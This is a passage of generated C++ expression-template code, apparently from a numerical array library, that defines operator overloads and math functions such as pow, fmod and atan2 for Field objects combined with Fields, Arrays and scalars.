>::make(r))); } template<class G1,class T1,class E1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpGT, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator>(const Field<G1,T1,E1> & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpGT, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<class G1,class T1,class E1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpGE, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator>=(const Field<G1,T1,E1> & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpGE, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<class G1,class T1,class E1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpEQ, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator==(const Field<G1,T1,E1> & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpEQ, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<class G1,class T1,class E1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpNE, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator!=(const Field<G1,T1,E1> & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpNE, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<class G1,class T1,class E1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpAnd, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator&&(const Field<G1,T1,E1> & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpAnd, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<class G1,class T1,class E1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpOr, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator||(const Field<G1,T1,E1> & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpOr, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<class G1,class T1,class E1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpLeftShift, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator<<(const Field<G1,T1,E1> & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpLeftShift, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<class G1,class T1,class E1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpRightShift, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator>>(const Field<G1,T1,E1> & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpRightShift, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<class G1,class T1,class E1,int D2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpAdd, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Array<D2,T2,E2> >::Leaf_t> >::Expression_t operator+(const Field<G1,T1,E1> & l,const Array<D2,T2,E2> & r) { typedef BinaryNode<OpAdd, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Array<D2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<Array<D2,T2,E2> >::make(r))); } template<class G1,class T1,class E1,class T2> inline typename MakeReturn<BinaryNode<OpAdd, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<T2 >::Leaf_t> >::Expression_t operator+(const Field<G1,T1,E1> & l,const T2 & r) { typedef BinaryNode<OpAdd, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<T2 >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<T2 >::make(r))); } template<class G1,class T1,class E1,int D2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpSubtract, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Array<D2,T2,E2> >::Leaf_t> >::Expression_t operator-(const Field<G1,T1,E1> & l,const Array<D2,T2,E2> & r) { typedef BinaryNode<OpSubtract, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Array<D2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<Array<D2,T2,E2> >::make(r))); } template<class G1,class T1,class E1,class T2> inline typename MakeReturn<BinaryNode<OpSubtract, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<T2 >::Leaf_t> >::Expression_t operator-(const Field<G1,T1,E1> & l,const T2 & r) { typedef BinaryNode<OpSubtract, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<T2 >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<T2 >::make(r))); } template<class G1,class T1,class E1,int D2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpMultiply, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Array<D2,T2,E2> >::Leaf_t> >::Expression_t operator*(const Field<G1,T1,E1> & l,const Array<D2,T2,E2> & r) { typedef BinaryNode<OpMultiply, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Array<D2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<Array<D2,T2,E2> >::make(r))); } template<class G1,class T1,class E1,class T2> inline typename MakeReturn<BinaryNode<OpMultiply, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<T2 >::Leaf_t> >::Expression_t operator*(const Field<G1,T1,E1> & l,const T2 & r) { typedef BinaryNode<OpMultiply, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<T2 >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<T2 >::make(r))); } template<class G1,class T1,class E1,int D2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpDivide, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Array<D2,T2,E2> >::Leaf_t> >::Expression_t operator/(const Field<G1,T1,E1> & l,const Array<D2,T2,E2> & r) { typedef BinaryNode<OpDivide, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Array<D2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<Array<D2,T2,E2> >::make(r))); } template<class G1,class T1,class E1,class T2> inline typename MakeReturn<BinaryNode<OpDivide, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<T2 >::Leaf_t> >::Expression_t operator/(const Field<G1,T1,E1> & l,const T2 & r) { typedef BinaryNode<OpDivide, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<T2 >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<T2 >::make(r))); } template<class G1,class T1,class E1,int D2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpMod, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Array<D2,T2,E2> >::Leaf_t> >::Expression_t operator%(const Field<G1,T1,E1> & l,const Array<D2,T2,E2> & r) { typedef BinaryNode<OpMod, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Array<D2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<Array<D2,T2,E2> >::make(r))); } template<class G1,class T1,class E1,class T2> inline typename MakeReturn<BinaryNode<OpMod, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<T2 >::Leaf_t> >::Expression_t operator%(const Field<G1,T1,E1> & l,const T2 & r) { typedef BinaryNode<OpMod, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<T2 >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<T2 >::make(r))); } template<class G1,class T1,class E1,int D2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpBitwiseAnd, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Array<D2,T2,E2> >::Leaf_t> >::Expression_t operator&(const Field<G1,T1,E1> & l,const Array<D2,T2,E2> & r) { typedef BinaryNode<OpBitwiseAnd, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Array<D2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<Array<D2,T2,E2> >::make(r))); } template<class G1,class T1,class E1,class T2> inline typename MakeReturn<BinaryNode<OpBitwiseAnd, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<T2 >::Leaf_t> >::Expression_t operator&(const Field<G1,T1,E1> & l,const T2 & r) { typedef BinaryNode<OpBitwiseAnd, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<T2 >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<T2 >::make(r))); } template<class G1,class T1,class E1,int D2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpBitwiseOr, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Array<D2,T2,E2> >::Leaf_t> >::Expression_t operator|(const Field<G1,T1,E1> & l,const Array<D2,T2,E2> & r) { typedef BinaryNode<OpBitwiseOr, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Array<D2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<Array<D2,T2,E2> >::make(r))); } template<class G1,class T1,class E1,class T2> inline typename MakeReturn<BinaryNode<OpBitwiseOr, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<T2 >::Leaf_t> >::Expression_t operator|(const Field<G1,T1,E1> & l,const T2 & r) { typedef BinaryNode<OpBitwiseOr, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<T2 >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<T2 >::make(r))); } template<class G1,class T1,class E1,int D2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpBitwiseXor, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Array<D2,T2,E2> >::Leaf_t> >::Expression_t operator^(const Field<G1,T1,E1> & l,const Array<D2,T2,E2> & r) { typedef BinaryNode<OpBitwiseXor, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Array<D2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<Array<D2,T2,E2> >::make(r))); } template<class G1,class T1,class E1,class T2> inline typename MakeReturn<BinaryNode<OpBitwiseXor, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<T2 >::Leaf_t> >::Expression_t operator^(const Field<G1,T1,E1> & l,const T2 & r) { typedef BinaryNode<OpBitwiseXor, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<T2 >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<T2 >::make(r))); } template<class G1,class T1,class E1,int D2,class T2,class E2> inline typename MakeReturn<BinaryNode<FnLdexp, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Array<D2,T2,E2> >::Leaf_t> >::Expression_t ldexp(const Field<G1,T1,E1> & l,const Array<D2,T2,E2> & r) { typedef BinaryNode<FnLdexp, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Array<D2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<Array<D2,T2,E2> >::make(r))); } template<class G1,class T1,class E1,class T2> inline typename MakeReturn<BinaryNode<FnLdexp, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<T2 >::Leaf_t> >::Expression_t ldexp(const Field<G1,T1,E1> & l,const T2 & r) { typedef BinaryNode<FnLdexp, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<T2 >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<T2 >::make(r))); } template<class G1,class T1,class E1,int D2,class T2,class E2> inline typename MakeReturn<BinaryNode<FnPow, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Array<D2,T2,E2> >::Leaf_t> >::Expression_t pow(const Field<G1,T1,E1> & l,const Array<D2,T2,E2> & r) { typedef BinaryNode<FnPow, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Array<D2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<Array<D2,T2,E2> >::make(r))); } template<class G1,class T1,class E1,class T2> inline typename MakeReturn<BinaryNode<FnPow, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<T2 >::Leaf_t> >::Expression_t pow(const Field<G1,T1,E1> & l,const T2 & r) { typedef BinaryNode<FnPow, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<T2 >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<T2 >::make(r))); } template<class G1,class T1,class E1,int D2,class T2,class E2> inline typename MakeReturn<BinaryNode<FnFmod, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Array<D2,T2,E2> >::Leaf_t> >::Expression_t fmod(const Field<G1,T1,E1> & l,const Array<D2,T2,E2> & r) { typedef BinaryNode<FnFmod, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Array<D2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<Array<D2,T2,E2> >::make(r))); } template<class G1,class T1,class E1,class T2> inline typename MakeReturn<BinaryNode<FnFmod, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<T2 >::Leaf_t> >::Expression_t fmod(const Field<G1,T1,E1> & l,const T2 & r) { typedef BinaryNode<FnFmod, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<T2 >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<T2 >::make(r))); } template<class G1,class T1,class E1,int D2,class T2,class E2> inline typename MakeReturn<BinaryNode<FnArcTan2, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Array<D2,T2,E2> >::Leaf_t> >::Expression_t atan2(const Field<G1,T1,E1> & l,const Array<D2,T2,E2> & r) { typedef BinaryNode<FnArcTan2, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Array<D2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<Array<D2,T2,E2> >::make(r))); } template<class G1,class T1,class E1,class T2> inline typename MakeReturn<BinaryNode<FnArcTan2, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<T2 >::Leaf_t> >::Expression_t atan2(const Field<G1,T1,E1> & l,const T2 & r) { typedef BinaryNode<FnArcTan2, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<T2 >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<T2 >::make(r))); } template<class G1,class T1,class E1,int D2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpLT, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Array<D2,T2,E2> >::Leaf_t> >::Expression_t operator<(const Field<G1,T1,E1> & l,const Array<D2,T2,E2> & r) { typedef BinaryNode<OpLT, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Array<D2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<Array<D2,T2,E2> >::make(r))); } template<class G1,class T1,class E1,class T2> inline typename MakeReturn<BinaryNode<OpLT, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<T2 >::Leaf_t> >::Expression_t operator<(const Field<G1,T1,E1> & l,const T2 & r) { typedef BinaryNode<OpLT, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<T2 >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<T2 >::make(r))); } template<class G1,class T1,class E1,int D2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpLE, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Array<D2,T2,E2> >::Leaf_t> >::Expression_t operator<=(const Field<G1,T1,E1> & l,const Array<D2,T2,E2> & r) { typedef BinaryNode<OpLE, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Array<D2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<Array<D2,T2,E2> >::make(r))); } template<class G1,class T1,class E1,class T2> inline typename MakeReturn<BinaryNode<OpLE, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<T2 >::Leaf_t> >::Expression_t operator<=(const Field<G1,T1,E1> & l,const T2 & r) { typedef BinaryNode<OpLE, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<T2 >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<T2 >::make(r))); } template<class G1,class T1,class E1,int D2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpGT, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Array<D2,T2,E2> >::Leaf_t> >::Expression_t operator>(const Field<G1,T1,E1> & l,const Array<D2,T2,E2> & r) { typedef BinaryNode<OpGT, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Array<D2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<Array<D2,T2,E2> >::make(r))); } template<class G1,class T1,class E1,class T2> inline typename MakeReturn<BinaryNode<OpGT, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<T2 >::Leaf_t> >::Expression_t operator>(const Field<G1,T1,E1> & l,const T2 & r) { typedef BinaryNode<OpGT, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<T2 >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<T2 >::make(r))); } template<class G1,class T1,class E1,int D2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpGE, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Array<D2,T2,E2> >::Leaf_t> >::Expression_t operator>=(const Field<G1,T1,E1> & l,const Array<D2,T2,E2> & r) { typedef BinaryNode<OpGE, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Array<D2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<Array<D2,T2,E2> >::make(r))); } template<class G1,class T1,class E1,class T2> inline typename MakeReturn<BinaryNode<OpGE, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<T2 >::Leaf_t> >::Expression_t operator>=(const Field<G1,T1,E1> & l,const T2 & r) { typedef BinaryNode<OpGE, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<T2 >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<T2 >::make(r))); } template<class G1,class T1,class E1,int D2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpEQ, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Array<D2,T2,E2> >::Leaf_t> >::Expression_t operator==(const Field<G1,T1,E1> & l,const Array<D2,T2,E2> & r) { typedef BinaryNode<OpEQ, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Array<D2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<Array<D2,T2,E2> >::make(r))); } template<class G1,class T1,class E1,class T2> inline typename MakeReturn<BinaryNode<OpEQ, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<T2 >::Leaf_t> >::Expression_t operator==(const Field<G1,T1,E1> & l,const T2 & r) { typedef BinaryNode<OpEQ, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<T2 >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<T2 >::make(r))); } template<class G1,class T1,class E1,int D2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpNE, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Array<D2,T2,E2> >::Leaf_t> >::Expression_t operator!=(const Field<G1,T1,E1> & l,const Array<D2,T2,E2> & r) { typedef BinaryNode<OpNE, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Array<D2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<Array<D2,T2,E2> >::make(r))); } template<class G1,class T1,class E1,class T2> inline typename MakeReturn<BinaryNode<OpNE, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<T2 >::Leaf_t> >::Expression_t operator!=(const Field<G1,T1,E1> & l,const T2 & r) { typedef BinaryNode<OpNE, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<T2 >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<T2 >::make(r))); } template<class G1,class T1,class E1,int D2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpAnd, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Array<D2,T2,E2> >::Leaf_t> >::Expression_t operator&&(const Field<G1,T1,E1> & l,const Array<D2,T2,E2> & r) { typedef BinaryNode<OpAnd, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Array<D2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<Array<D2,T2,E2> >::make(r))); } template<class G1,class T1,class E1,class T2> inline typename MakeReturn<BinaryNode<OpAnd, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<T2 >::Leaf_t> >::Expression_t operator&&(const Field<G1,T1,E1> & l,const T2 & r) { typedef BinaryNode<OpAnd, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<T2 >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<T2 >::make(r))); } template<class G1,class T1,class E1,int D2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpOr, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Array<D2,T2,E2> >::Leaf_t> >::Expression_t operator||(const Field<G1,T1,E1> & l,const Array<D2,T2,E2> & r) { typedef BinaryNode<OpOr, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Array<D2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<Array<D2,T2,E2> >::make(r))); } template<class G1,class T1,class E1,class T2> inline typename MakeReturn<BinaryNode<OpOr, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<T2 >::Leaf_t> >::Expression_t operator||(const Field<G1,T1,E1> & l,const T2 & r) { typedef BinaryNode<OpOr, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<T2 >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<T2 >::make(r))); } template<class G1,class T1,class E1,int D2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpLeftShift, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Array<D2,T2,E2> >::Leaf_t> >::Expression_t operator<<(const Field<G1,T1,E1> & l,const Array<D2,T2,E2> & r) { typedef BinaryNode<OpLeftShift, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Array<D2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<Array<D2,T2,E2> >::make(r))); } template<class G1,class T1,class E1,class T2> inline typename MakeReturn<BinaryNode<OpLeftShift, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<T2 >::Leaf_t> >::Expression_t operator<<(const Field<G1,T1,E1> & l,const T2 & r) { typedef BinaryNode<OpLeftShift, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<T2 >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<T2 >::make(r))); } template<class 